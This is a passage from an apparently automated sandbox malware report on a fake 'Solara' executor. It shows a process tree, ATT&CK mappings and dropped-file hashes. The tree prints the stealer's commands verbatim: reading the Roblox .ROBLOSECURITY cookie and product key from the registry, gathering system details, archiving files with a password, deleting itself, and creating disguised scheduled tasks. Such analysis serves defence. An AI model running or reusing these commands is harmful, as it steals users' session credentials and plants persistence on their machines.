                                                                          attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                          15⤵
                                                                          • Drops file in Drivers directory
                                                                          • Views/modifies file attributes
                                                                          PID:5928
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                        14⤵
                                                                          PID:5640
                                                                          • C:\Windows\system32\tree.com
                                                                            tree /A /F
                                                                            15⤵
                                                                              PID:4484
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                            14⤵
                                                                              PID:5652
                                                                              • C:\Windows\system32\attrib.exe
                                                                                attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                15⤵
                                                                                • Drops file in Drivers directory
                                                                                • Views/modifies file attributes
                                                                                PID:5968
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                              14⤵
                                                                                PID:5368
                                                                                • C:\Windows\system32\tree.com
                                                                                  tree /A /F
                                                                                  15⤵
                                                                                    PID:5920
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                  14⤵
                                                                                    PID:5728
                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                      tasklist /FO LIST
                                                                                      15⤵
                                                                                      • Enumerates processes with tasklist
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:5756
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                    14⤵
                                                                                      PID:6132
                                                                                      • C:\Windows\system32\tree.com
                                                                                        tree /A /F
                                                                                        15⤵
                                                                                          PID:1124
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                        14⤵
                                                                                          PID:4976
                                                                                          • C:\Windows\system32\tree.com
                                                                                            tree /A /F
                                                                                            15⤵
                                                                                              PID:3428
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                            14⤵
                                                                                              PID:5912
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                15⤵
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:5316
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                              14⤵
                                                                                                PID:1096
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                  15⤵
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:5348
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                14⤵
                                                                                                  PID:1504
                                                                                                  • C:\Windows\system32\getmac.exe
                                                                                                    getmac
                                                                                                    15⤵
                                                                                                      PID:1296
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI20922\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\aZ8XX.zip" *"
                                                                                                    14⤵
                                                                                                      PID:6104
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI20922\rar.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\_MEI20922\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\aZ8XX.zip" *
                                                                                                        15⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:1804
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                      14⤵
                                                                                                        PID:4444
                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                          wmic os get Caption
                                                                                                          15⤵
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:3704
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                        14⤵
                                                                                                          PID:3596
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            15⤵
                                                                                                              PID:4300
                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                              wmic computersystem get totalphysicalmemory
                                                                                                              15⤵
                                                                                                                PID:4044
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                              14⤵
                                                                                                                PID:4476
                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                  wmic csproduct get uuid
                                                                                                                  15⤵
                                                                                                                    PID:5404
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                  14⤵
                                                                                                                    PID:1568
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                      15⤵
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:5244
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                    14⤵
                                                                                                                      PID:4184
                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                        wmic path win32_VideoController get name
                                                                                                                        15⤵
                                                                                                                        • Detects videocard installed
                                                                                                                        PID:5984
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                      14⤵
                                                                                                                        PID:4056
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                          15⤵
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:3168
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Built.exe""
                                                                                                                        14⤵
                                                                                                                          PID:3752
                                                                                                                          • C:\Windows\system32\PING.EXE
                                                                                                                            ping localhost -n 3
                                                                                                                            15⤵
                                                                                                                            • Runs ping.exe
                                                                                                                            PID:5828
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
                                                                                                                      12⤵
                                                                                                                      • Blocklisted process makes network request
                                                                                                                      • Checks computer location settings
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:4976
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe"
                                                                                                                        13⤵
                                                                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                        • Checks BIOS information in registry
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Loads dropped DLL
                                                                                                                        • Checks whether UAC is enabled
                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:4028
                                                                                                                        • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=1 --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=4028.1440.7765004082701394301
                                                                                                                          14⤵
                                                                                                                          • Drops file in Program Files directory
                                                                                                                          • Enumerates system info in registry
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                          PID:2776
                                                                                                                          • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=125.0.6422.142 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=125.0.2535.92 --initial-client-data=0x15c,0x160,0x164,0x138,0x16c,0x7ffed9054ef8,0x7ffed9054f04,0x7ffed9054f10
                                                                                                                            15⤵
                                                                                                                              PID:508
                                                                                                                            • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                              "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1716,i,16939575836588964267,14978393057242945908,262144 --enable-features=MojoIpcz --variations-seed-version --mojo-platform-channel-handle=1672 /prefetch:2
                                                                                                                              15⤵
                                                                                                                                PID:5312
                                                                                                                              • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                                "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --field-trial-handle=1872,i,16939575836588964267,14978393057242945908,262144 --enable-features=MojoIpcz --variations-seed-version --mojo-platform-channel-handle=1996 /prefetch:3
                                                                                                                                15⤵
                                                                                                                                  PID:4780
                                                                                                                                • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                                  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --field-trial-handle=1980,i,16939575836588964267,14978393057242945908,262144 --enable-features=MojoIpcz --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:8
                                                                                                                                  15⤵
                                                                                                                                    PID:5180
                                                                                                                                  • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                                    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --field-trial-handle=3480,i,16939575836588964267,14978393057242945908,262144 --enable-features=MojoIpcz --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
                                                                                                                                    15⤵
                                                                                                                                      PID:5484
                                                                                                                                    • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                                      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --field-trial-handle=2176,i,16939575836588964267,14978393057242945908,262144 --enable-features=MojoIpcz --variations-seed-version --mojo-platform-channel-handle=2060 /prefetch:8
                                                                                                                                      15⤵
                                                                                                                                        PID:5124
                                                                                                                                      • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --field-trial-handle=752,i,16939575836588964267,14978393057242945908,262144 --enable-features=MojoIpcz --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:8
                                                                                                                                        15⤵
                                                                                                                                          PID:1724
                                                                                                                                        • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                                          "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4784,i,16939575836588964267,14978393057242945908,262144 --enable-features=MojoIpcz --variations-seed-version --mojo-platform-channel-handle=4620 /prefetch:8
                                                                                                                                          15⤵
                                                                                                                                            PID:2212
                                                                                                                                          • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe
                                                                                                                                            "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\125.0.2535.92\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --field-trial-handle=4796,i,16939575836588964267,14978393057242945908,262144 --enable-features=MojoIpcz --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:8
                                                                                                                                            15⤵
                                                                                                                                              PID:3924
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\agentInto\conhost.exe'" /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:5996
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\agentInto\conhost.exe'" /rl HIGHEST /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:5748
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\agentInto\conhost.exe'" /rl HIGHEST /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:4772
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Photo Viewer\conhost.exe'" /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:4808
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\conhost.exe'" /rl HIGHEST /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:5464
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Photo Viewer\conhost.exe'" /rl HIGHEST /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:5576
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\AppData\Local\Application Data\cmd.exe'" /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:5580
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Application Data\cmd.exe'" /rl HIGHEST /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:2000
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\AppData\Local\Application Data\cmd.exe'" /rl HIGHEST /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:5924
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\System.exe'" /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:5428
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\System.exe'" /rl HIGHEST /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:5224
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\System.exe'" /rl HIGHEST /f
                                                                                                                  1⤵
                                                                                                                  • Process spawned unexpected child process
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:4132
                                                                                                                • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                  1⤵
                                                                                                                    PID:5368
                                                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                                                    C:\Windows\system32\vssvc.exe
                                                                                                                    1⤵
                                                                                                                      PID:3408

                                                                                                                    Network

                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                          Reconnaissance

                                                                                                                          Resource Development

                                                                                                                          Initial Access

                                                                                                                          Execution

                                                                                                                          Command and Scripting Interpreter

                                                                                                                          1
                                                                                                                          T1059

                                                                                                                          PowerShell

                                                                                                                          1
                                                                                                                          T1059.001

                                                                                                                          Scheduled Task/Job

                                                                                                                          1
                                                                                                                          T1053

                                                                                                                          Scheduled Task

                                                                                                                          1
                                                                                                                          T1053.005

                                                                                                                          Persistence

                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                          2
                                                                                                                          T1547

                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                          1
                                                                                                                          T1547.001

                                                                                                                          Winlogon Helper DLL

                                                                                                                          1
                                                                                                                          T1547.004

                                                                                                                          Event Triggered Execution

                                                                                                                          1
                                                                                                                          T1546

                                                                                                                          Netsh Helper DLL

                                                                                                                          1
                                                                                                                          T1546.007

                                                                                                                          Scheduled Task/Job

                                                                                                                          1
                                                                                                                          T1053

                                                                                                                          Scheduled Task

                                                                                                                          1
                                                                                                                          T1053.005

                                                                                                                          Privilege Escalation

                                                                                                                          Abuse Elevation Control Mechanism

                                                                                                                          1
                                                                                                                          T1548

                                                                                                                          Bypass User Account Control

                                                                                                                          1
                                                                                                                          T1548.002

                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                          2
                                                                                                                          T1547

                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                          1
                                                                                                                          T1547.001

                                                                                                                          Winlogon Helper DLL

                                                                                                                          1
                                                                                                                          T1547.004

                                                                                                                          Event Triggered Execution

                                                                                                                          1
                                                                                                                          T1546

                                                                                                                          Netsh Helper DLL

                                                                                                                          1
                                                                                                                          T1546.007

                                                                                                                          Scheduled Task/Job

                                                                                                                          1
                                                                                                                          T1053

                                                                                                                          Scheduled Task

                                                                                                                          1
                                                                                                                          T1053.005

                                                                                                                          Defense Evasion

                                                                                                                          Abuse Elevation Control Mechanism

                                                                                                                          1
                                                                                                                          T1548

                                                                                                                          Bypass User Account Control

                                                                                                                          1
                                                                                                                          T1548.002

                                                                                                                          Hide Artifacts

                                                                                                                          2
                                                                                                                          T1564

                                                                                                                          Hidden Files and Directories

                                                                                                                          2
                                                                                                                          T1564.001

                                                                                                                          Impair Defenses

                                                                                                                          1
                                                                                                                          T1562

                                                                                                                          Disable or Modify Tools

                                                                                                                          1
                                                                                                                          T1562.001

                                                                                                                          Modify Registry

                                                                                                                          4
                                                                                                                          T1112

                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                          1
                                                                                                                          T1497

                                                                                                                          Credential Access

                                                                                                                          Unsecured Credentials

                                                                                                                          2
                                                                                                                          T1552

                                                                                                                          Credentials In Files

                                                                                                                          2
                                                                                                                          T1552.001

                                                                                                                          Discovery

                                                                                                                          Process Discovery

                                                                                                                          1
                                                                                                                          T1057

                                                                                                                          Query Registry

                                                                                                                          5
                                                                                                                          T1012

                                                                                                                          Remote System Discovery

                                                                                                                          1
                                                                                                                          T1018

                                                                                                                          System Information Discovery

                                                                                                                          7
                                                                                                                          T1082

                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                          1
                                                                                                                          T1497

                                                                                                                          Lateral Movement

                                                                                                                          Collection

                                                                                                                          Data from Local System

                                                                                                                          2
                                                                                                                          T1005

                                                                                                                          Command and Control

                                                                                                                          Web Service

                                                                                                                          1
                                                                                                                          T1102

                                                                                                                          Exfiltration

                                                                                                                          Impact

                                                                                                                          Replay Monitor

                                                                                                                          Loading Replay Monitor...

                                                                                                                          Downloads

                                                                                                                          conhost.exe
                                                                                                                          • Path C:\Program Files (x86)\Windows Photo Viewer\conhost.exe
                                                                                                                          • Size 4.0MB
                                                                                                                          • SHA256 f3ee0a31d29b515d2e0bf776507897ca3ef5605d0470adcc4163209ba78e3445
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                          Submit Download

                                                                                                                          hyph-as.hyb
                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping2776_881296411\hyph-as.hyb
                                                                                                                          • Size 703B
                                                                                                                          • SHA256 c2784e33158a807135850f7125a7eaabe472b3cfc7afb82c74f02da69ea250fe
                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                          Submit Download

                                                                                                                          hyph-hi.hyb
                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping2776_881296411\hyph-hi.hyb
                                                                                                                          • Size 687B
                                                                                                                          • SHA256 f4df224d459fd111698dd5a13613c5bbf0ed11f04278d60230d028010eac0c42
                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                          Submit Download

                                                                                                                          hyph-nb.hyb
                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping2776_881296411\hyph-nb.hyb
                                                                                                                          • Size 141KB
                                                                                                                          • SHA256 c2771fbb1bfff7db5e267dc7a4505a9675c6b98cfe7a8f7ae5686d7a5a2b3dd0
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                          Submit Download

                                                                                                                          manifest.json
                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping2776_881296411\manifest.json
                                                                                                                          • Size 179B
                                                                                                                          • SHA256 0e22719a850c49b3fba3f23f69c8ff785ce3dee233030ed1ad6e6563c75a9902
                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                          Submit Download

                                                                                                                          manifest.fingerprint
                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping2776_96477555\manifest.fingerprint
                                                                                                                          • Size 66B
                                                                                                                          • SHA256 52493422ac4c18918dc91ef5c4d0e50c130ea3aa99915fa542b890a79ea94f2b
                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                          Submit Download

                                                                                                                          manifest.json
                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping2776_96477555\manifest.json
                                                                                                                          • Size 134B
                                                                                                                          • SHA256 a946db31a6a985bdb64ea9f403294b479571ca3c22215742bdc26ea1cf123437
                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                          Submit Download

                                                                                                                          Built.exe
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\Built.exe
                                                                                                                          • Size 24.0MB
                                                                                                                          • SHA256 97e31ae693f118965c81672374dfa269f2b5c3c2b9502ac983f8b5817d5d0002
